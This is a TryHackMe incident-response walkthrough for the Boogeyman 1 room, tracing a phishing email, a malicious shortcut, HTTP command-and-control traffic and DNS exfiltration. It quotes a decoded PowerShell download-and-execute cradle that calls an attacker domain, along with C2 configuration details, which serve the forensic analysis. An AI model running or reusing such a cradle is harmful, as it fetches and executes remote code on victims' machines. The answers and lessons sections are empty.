TryHackMe // Walkthrough

Boogeyman 1.

Analyze network traffic and endpoint artifacts to determine how an attacker delivered a malicious payload, communicated with a compromised Windows workstation, and exfiltrated sensitive information.

• DFIR
• PCAP Analysis
• Malicious PowerShell
• C2
• Data Exfiltration

Platform

TryHackMe

Room

Boogeyman 1

Category

Digital Forensics and Incident Response (DFIR)

Focus

PCAP analysis, malicious PowerShell, C2, data exfiltration

01 Objective

The objective of this investigation was to analyze network traffic and endpoint artifacts to determine how an attacker delivered a malicious payload, communicated with a compromised Windows workstation, and exfiltrated sensitive information.

The challenge asked four questions:

1. What software was used to host the presumed file/payload server?
2. What protocol was used during exfiltration?
3. What was the password of the exfiltrated file?
4. What credit card number was stored inside the exfiltrated file?

02 Initial Artifact Inspection

The provided artifacts included:

• capture.pcapng: network packet capture
• dump.eml: suspicious email
• Invoice.zip: email attachment
• Invoice_20230103.lnk: Windows shortcut
• powershell.evtx: PowerShell event log
• powershell.json: converted PowerShell event data

I began by extracting the attachment and inspecting the email. The email contained a password for the ZIP attachment:

Invoice2023!

The archive contained a Windows shortcut rather than a conventional invoice document. This was an important clue: a file that appears to be an ordinary document may instead be a delivery mechanism for malicious code.

03 Analyze the Malicious Shortcut

I inspected the shortcut using strings and parsed its arguments to recover the embedded PowerShell command. The shortcut contained an encoded PowerShell command. After Base64 decoding, the command was:

iex (new-object net.webclient).downloadstring('http://files.bpakcaging.xyz/update')

This command uses a .NET WebClient object to download content from a remote HTTP server and execute it through iex (Invoke-Expression). The important behaviors are:

• Download: Retrieve a script from a remote server.
• Execute: Run the downloaded content directly through PowerShell.
• Obfuscate activity: Use a hidden PowerShell process to make the execution less noticeable to the user.

This is a common malware delivery technique because it allows the attacker to change the downloaded payload without changing the original shortcut.

I did not execute the downloaded script; I analyzed the recovered content offline.

04 Analyze the Downloaded PowerShell Script

I exported HTTP objects from the PCAP using tshark:

tshark -r capture.pcapng \
  --export-objects http,http_obj 2>/dev/null

The exported object http_obj/update contained a PowerShell script. Its key configuration was:

$s='cdn.bpakcaging.xyz:8080'
$i='8cce49b0-b86459bb-27fe2489'

The script repeatedly requested commands from the server and sent the results back to the attacker. Its communication pattern was:

The script used Invoke-WebRequest to communicate with the server, iex to execute received commands, and HTTP POST requests to return the output. It also polled the command endpoint approximately every 0.8 seconds.

This established that the compromised workstation was communicating with an attacker-controlled command-and-control server.

05 Decode the Command Output

The POST requests to /27fe2489 contained numeric data rather than immediately readable text. I inspected one of the exported responses:

file 'http_obj/27fe2489(82)'

The response was numeric-encoded. I then extracted the numeric sequences and converted them to ASCII characters:

import re

data = open('http_obj/27fe2489(82)', 'rb').read()
numbers = re.findall(rb'\d+', data)

decoded = ''.join(
    chr(int(n)) for n in numbers
    if int(n) < 256
)

print(decoded[:500])

This revealed readable command output, including error messages and system reconnaissance results. Other responses revealed information about the compromised user’s environment, including:

• User account: j.westcott
• Workstation: QL-WKSTN-5693
• The Documents directory
• A KeePass database named protected_data.kdbx
• KeePass configuration information

One response showed that an attempt to read protected_data.kdbx from C:\Windows\system32 failed because the file was not located there. The file listing showed the database in the user’s Documents directory instead.

This was a useful reminder that reconnaissance results and successful data collection are not the same thing: an attempted file read can fail even when the file exists elsewhere.

06 Identify the Exfiltration Activity

The HTTP traffic established how the malware received commands and returned command output. However, the challenge’s file-exfiltration evidence involved a separate channel. The exfiltration protocol identified for this challenge was DNS.

DNS-based exfiltration can encode information into DNS queries or responses, allowing data to leave a network through DNS traffic. This can be difficult to spot because DNS is also used for legitimate name resolution.

The exfiltrated file contained sensitive information, including a credit card number. The final challenge answers identify the file’s password and the recovered card number below.

07 Challenge Answers

08 Lessons Learned

This investigation reinforced several useful DFIR techniques:

// Conclusion